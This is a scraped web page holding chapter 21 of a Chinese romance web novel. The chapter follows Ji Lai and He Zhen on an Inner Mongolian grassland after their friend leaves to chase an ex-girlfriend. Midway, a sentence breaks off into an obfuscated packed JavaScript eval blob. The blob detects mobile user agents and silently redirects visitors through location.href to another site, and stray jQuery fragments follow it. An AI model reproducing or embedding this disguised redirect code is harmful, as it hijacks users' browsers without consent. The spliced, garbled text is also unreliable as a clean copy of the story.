21. 第二十一章

作品:《遥夜途上

    玩了大半天,下午三人结束得比较早,回到蒙古包全都累倒在通铺上,没聊几句周平堉跟何振便睡着了,季莱也有点困倦,可旁边是何振,二十厘米左右的间隔实在有点近,她翻来翻去摸不着睡意,最后只得戴上耳机和眼罩。


    《TheBeatitudes》的旋律和草原很适配,单曲循环到第三遍季莱终于如愿睡着了。


    不知睡了多久,一阵风把门刮开,响动使季莱惊醒,她扭扭身子掀开眼罩,霎时与何振四目相对。


    清风像不速之客涌来,溢满这一方天地,也吹醒了季莱脑中某一刻的迷乱。


    “醒了?”他把手机扣过去,露出整张脸。


    季莱戴着耳机没听到说什么,又把眼罩拉下,昏暗重新降临,可她脑子里全是何振刚才的模样,额前碎发遮住眉毛,眼神里带着丝丝慵懒。


    周平堉从外面回来,木质地板踩得“嘎吱嘎吱”响。


    “莱莱醒了吗?”


    “刚才醒了,现在......”


    何振看向季莱的眼罩,“应该又睡了吧。”


    周平堉坐下,拿纸巾细致地擦着鞋面上的灰,小声说:“我刚才在山坡上看到几匹马,阳光一照,马毛都在发光,真帅啊!”


    两首歌间隙,季莱正好听到周平堉的声音,她第一次听说有人用“真帅”形容马的。


    音乐继续,她翻了个身接着睡。


    香甜的回笼觉被手机震动打破,季莱从枕下掏出来看,眼睛在读完信息那一瞬瞪大。


    信息来自周平堉,他说:“我有事先去赤峰了,你俩后天再过来。”


    季莱下意识看向何振,他不明所以,“怎么了?”


    季莱摘掉耳机,“周平堉走了?”


    “嗯,他说有急事去赤峰,可能跟你那个结婚的朋友有关。”


    既然已经走了,说什么都没用,季莱睡得有点热,解开衣服拉链,问:“厕所在哪?”


    “我带你去吧,有点远。”


    “不用,我自己去。”


    季莱起身走到外面,风一吹,哈欠都被顶了回去,她环顾一圈,看到不远处木板围成的小房子......应该就是旱厕吧,之前出去旅游也用过。


    从蒙古包到旱厕大约一百多米,中间是大片草场,野草自带一种别样的原始生命力,书上总把野草比做社会底层那些人,可季莱却觉得不是人人都有野草般的自由。


    走到一半季莱拨通周平堉电话,“你搞什么?”


    “嘿嘿,着急见个人。”


    “有名有姓我就信。”


    周平堉吱吱呜呜,“就是......哎呀!前女友。”


    “王美辰?”


    又一声憨笑,果然被季莱猜中了,这次安海结婚很多以前的同学和朋友都要来,包括王美辰,毕竟是初恋,分手后周平堉对她念念不忘也正常,只是季莱没想到周平堉一天都等不了......


    “我刚知道美辰去赤峰了,你就成全成全我呗。”


    听到周平堉这么说,季莱回他,“要不我也不玩了吧,过去帮忙。”


    季莱虽然没结婚,但她参加过同事的婚礼,要忙的事的确多。


    “别!不缺你一个,好不容易休假你就放心玩,我假期多得是。”


    “行,挂了,有事打电话。”


    上完厕所出来,季莱看见不远处有个人影,一袭黑衣站在草地上,宛如绿色汪洋中行驶的黑色帆船。


    不看正脸季莱也知道是谁。


    她顺着何振视线方向望过去,山坡上有匹马正在吃草,马尾甩得悠闲自在,季莱想象如果她在值夜班的时候看到这一幕,一定想和马交换身份,在无尽的旷野中度过一个晴朗的下午。


    走过草地,等季莱快到何振身旁时他转身回去,一前一后相隔几米,擦过他小腿的花草同样从季莱腿边擦过,来时步子匆匆,现在却走得很慢,她不想追上何振,只想在后面看他的背影。


    可走着走着季莱忽然心生一个念头,这种追随感好似能走到地老天荒......


    “晚上吃什么?”何振故意说得大声,好让身后人听见。


    季莱加快脚步追上去,“去哪吃?这里前不着村后不着店,”


    “你就说想吃什么,我负责找地方。”


    “火锅。”


    “好。”


    见何振要往蒙古包拐,季莱叫住他,“我想去那边看马。”


    何振停下,顺她手指方向望过去,“行。”


    在一望无际的地方,很多东西看着近,实际走过去很远,坡度却相反,看着陡,实际走的时候会轻缓一些。


    “这是什么花?”季莱觉得好看,蹲下拍了张照。


    “野花,我也不知道名字。”


    “你之前来也是住的巴图家吗?”


    “嗯。”


    说到这个人,季莱眼前浮现他的脸,“巴图看起来憨憨的。”


    “人好,我跟他说这次来有个女孩儿,怕你住得不舒服,他特意去西乌旗新买的床单。”


    没等季莱说谢,何振忽然拽住她袖子,“看着点,有的地方有马粪。”


    季莱下意识往何振那边靠,两人挨上,何振笑了声,“踩到了?”


    “当然没有。”


    嘴角的笑收回,何振眯眼看向前方。


    季莱问:“巴图家养了多少马?”


    “二十多匹。”


    “倒是不多。”


    何振看她,“不多吗?等明早他把马赶过来喝水的时候你就知道了。”


    “早上几点?”


    “一般八点多。”


    “那我早点起来看。”


    “怎么感觉你把这当动物园了?”


    季莱看着脚下,心思却在别处,“不是,就是没见过。”


    刚才在下面望到的山坡,季莱以为爬上去后会看到公路或者别的人家,没想到又是连绵的山坡,一个房子也没有,根本望不到边际。


    “在这生活好安静,没人打扰。”


    “等你退休了可以来这养老。”


    季莱摇摇头,“太旷了。”


    “害怕?警察胆子还这么小。”


    季莱不服气,“我胆子小就不会救你了。”


    何振停下来席地而坐。


    “不往前走了吗?”季莱身子一矮,被何振拽着袖子也坐下去。


    他解释,“再往前走会吓到马。”


    “噢。”


    季莱两腿一盘,无比放松,何振则双腿蜷起,手臂搭在上面,流畅的线条吸引季莱的注意力。


    “看什么?”何振手掌摊开,以为上面粘了什么东西。


    季莱没有收回目光,而是不动声色地往旁边移了一点点,“小飞虫。”


    她不知道自己的伪装有没有被识破,应该......没有吧。


    视线前方那匹马好像吃饱了,扬头往这边走,季莱以为它中途会拐去别的地方,没想到它竟加速朝季莱这边过来。


    “何振......咱俩跑吧?”


    “来不及了。”


    何振跪在草地上,张开手臂用身体挡住季莱。


    等了几秒,马发着“秃噜噜”的声音往山坡下去了。


    白天在马场的时候季莱在何振身后躲避紫外线,可现在她几乎等同于在他怀里,两人的鼻子差一点就要碰上......


    “没事了。”


    何振撤回身子,跟季莱的紧张相比他相


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332246|198837||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    对淡定。


    “你是不是知道马不会过来?”


    何振照实讲,“我知道它大概率不会过来,但不是百分百。”


    季莱扣上帽子遮挡太阳,同时回避何振的目光。


    灼热的,想要追问那个问题的目光。


    “周平堉怎么走的你知道吗?”


    季莱没话找话。


    “巴图给他找了一辆顺风车。”


    “什么时候?”


    “你第二次睡着之后。”


    第二次,还真精准。


    何振搓搓手指,“你要觉得在这没意思想去找他,我开车带你回赤峰。”


    季莱笑了声,“我巴不得他离我远点儿。”


    “你俩不是很好吗?”


    “好朋友也不是要整天呆在一起啊。”


    两人不约而同把腿都伸直,何振比季莱的长出一截。


    “你多高?”季莱问他。


    “一八七。”


    “你爸妈应该都挺高吧?何耀也快一米八了。”


    听到何耀,何振忽然沉默,但和之前不一样的是他脸色没那么冷。


    这时季莱手机响了,视频通话,她以为又是周平堉,没想到是阿青,季莱赶紧接。


    “莱莱!”


    听到说话声何振低头,手指缠着草茎绕圈。


    阿青在屋里,身后是个吧台,上面摆着一些乱七八糟的摆件,应该是她工作的地方。


    “你干嘛呢?”季莱问她。


    “干活呗,老板出去了,我偷会儿懒,周平堉呢?你俩不是一起去内蒙古玩了吗?”


    “他把我丢在草原跑去见前女友了。”


    “不是吧?这么不地道,都过去多长时间了还对王美辰念念不忘啊!”


    “谁知道......”


    “你自己在那边行吗?”


    季莱朝身旁看了眼,镜头转过去,一晃而过,说:“还有一个。”


    “我去!男人!活的!你又换男朋友了?”


    季莱两眼一闭,万念俱灰,她多希望刚才那匹马赶紧回来,从她身上踏过去,就此了结。


    “不是男朋友,别闹。”


    季莱一本正经警告。


    阿青:“哈喽哥们儿,你好!”


    谁让你打招呼了?!简直跟周平堉一个德行。


    何振转过来,看季莱一眼,才冲屏幕摆摆手,“你好。”


    阿青“诶?”一声,然后没动静了。


    “怎么了?”季莱问。


    “看着眼熟,我好像在哪见过他,是滨城的吗?”


    季莱直接把视频通话挂断,假装捅咕手机,还自言自语,“没信号了呢。”


    何振盯着季莱的眉眼看了看,转向前方。


    看来他还不如郭冬冬,起码郭冬冬被承认过,他呢?季莱认都不愿认。


    “回去吧,有点渴。”


    季莱起身拍拍裤子,何振跟着站起来。


    季莱往蒙古包方向边走边望,忽然脚下一滑,身体摇晃,在预感自己要跌倒的瞬间回手拉住何振,奈何事发突然,双双跌倒,何振被季莱压在身下,当了活体垫背......


    “没事吧?”季莱一脸抱歉,撑着他胸膛关切寻问。


    季莱说话时发丝从何振脖颈擦过,喉结本能地上下蠕动,缓解心头之痒。


    “你不起来就会有事。”


    声音发沉,说完咳了声。


    季莱慌忙起身,而何振还躺在草地上,一只手枕在脑后,仰视着季莱。


    天空蔚蓝,白云在她身后缓缓飘动,有风吹过,青草统一朝她弯腰,也将长发吹向耳后。


    烦恼丝飞扬飘远,季莱伸手,说:“晚上火锅我请。”